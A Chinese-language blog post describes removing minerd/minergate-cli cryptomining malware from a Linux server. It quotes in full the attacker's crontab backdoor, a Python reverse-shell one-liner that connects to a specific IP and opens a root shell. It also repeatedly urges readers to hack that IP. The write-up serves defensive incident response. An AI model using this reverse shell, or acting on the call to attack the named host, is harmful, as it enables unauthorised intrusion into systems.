linux查杀minergate-cli/minerd病毒
redis的漏洞让公司的服务器中了挖矿的病毒,入侵者在服务器上留了后门。每次只是把进程杀杀,但是过段时间病毒又回来了,这个事情一直让人头疼。先是minerd的病毒入侵,后是minergate-cli入侵。当时以为是服务器的帐号密码被泄漏了,然后对服务器登录的ip一个个检查,对操作的shell一个个核对,都没有发现异常。这就奇怪了,不知道什么原因让病毒一直入侵。还是minergate-cli这个病毒的运行方式让我找到了问题的所在。以往的miner进程会让cpu跑到1000%的状态,kill的时候只用杀死一个进程就解决问题。后来的一个变种minergate-cli变花样了,开多个进程,每个进程占50-100%的cpu,这样干的目的就是让新手一个个的输入pid,非常耗时。正是这个现象让我想起来用脚本杀进程,脚本杀起来是爽,执行一下minergate-cli进程全没了,但是还是不够爽,手动多累啊,每天还要上来看看,把脚本放到定时任务多好。就是这个启发让我找到问题的所在,入侵者在定时任务留下后门,定时的会向病毒的服务器发送socket,建立连接后对方的服务器就可以正常往你的服务器发送命令,而且赋予了root权限。这样就可以解释为什么病毒执行的时候都是用root帐户运行的了。
以下是定时任务的后门,在/etc/crontab文件中:
----------------------------------------------------------------------------------------------------
***** root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("115.126.100.88",1050));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-----------------------------------------------------------------------------------------------------
命令解释:(python正向连接后门)新建一个socket,并将0、1、2分别代表系统的stdin、stdout、stderr(标准输入、输出、错误)重定向到socket中,然后开启一个shell。这样我们从socket中传来的命令就会进入系统的标准输入(就跟键盘输入的效果一样了),系统的输出和错误就会重定向到socket中,被我们客户端获取。但这个弹shell脚本只能在linux下使用。
如果看不懂就用一句大白话解释:对方电脑可以操作你的电脑,而且获取了root权限!!!
如果你懂如何黑服务器,在你空闲之于帮我黑黑115.126.100.88这台服务器!!!如果你懂如何黑服务器,在你空闲之于帮我黑黑115.126.100.88这台服务器!!!如果你懂如何黑服务器,在你空闲之于帮我黑黑115.126.100.88这台服务器!!!就是这台服务器往你电脑上发布病毒的。
下面说说解决的步骤:
1、用root用户写一个脚本,比如在/lib下新建一个minerKiller.sh 加入以下内容:(仅限病毒存在docker容器中,别的情况不适用)
---------------------------------------------------------------------------------------------------------------
ps -ef|grep minergate-cli|grep -v grep|awk '{print "kill -9 " $2}'|sh
sleep 5
docker rm $(docker ps -a -q)
docker rmi minecoins/minergate-cli
-------------------------------------------------------------------------------------------------------------------
如果你是minerd病毒,把minergate-cli部分换成minerd即可。
2、修改权限并运行
chmod 700 /lib/minerKiller.sh
./lib/minerKiller.sh
3、清理定时任务
在以下三个地方查找:①/var/spool/cron/ ②/etc/crontab③/etc/cron.d/ 。如果被别人加上恶心的定时任务,直接删除掉。如果和我上面的一样,那肯定是中招了。如果在修改文件过程中以root帐户都无法修改,执行下面命令: chattr –i 文件路径 ,比如我root帐户不能修改/etc/crontab,执行 chattr -i /etc/crontab。然后root用户就可以修改了。
4、如果不放心,可以将查杀病毒的脚本放进定时任务。
用root帐户执行:crontab -e,进入文本后加入以下命令
-------------------------------------------------------------------------
30 0 * * * root /lib/minerKiller.sh
-------------------------------------------------------------------------
系统就会定时执行刚刚写的查杀病毒的脚本了。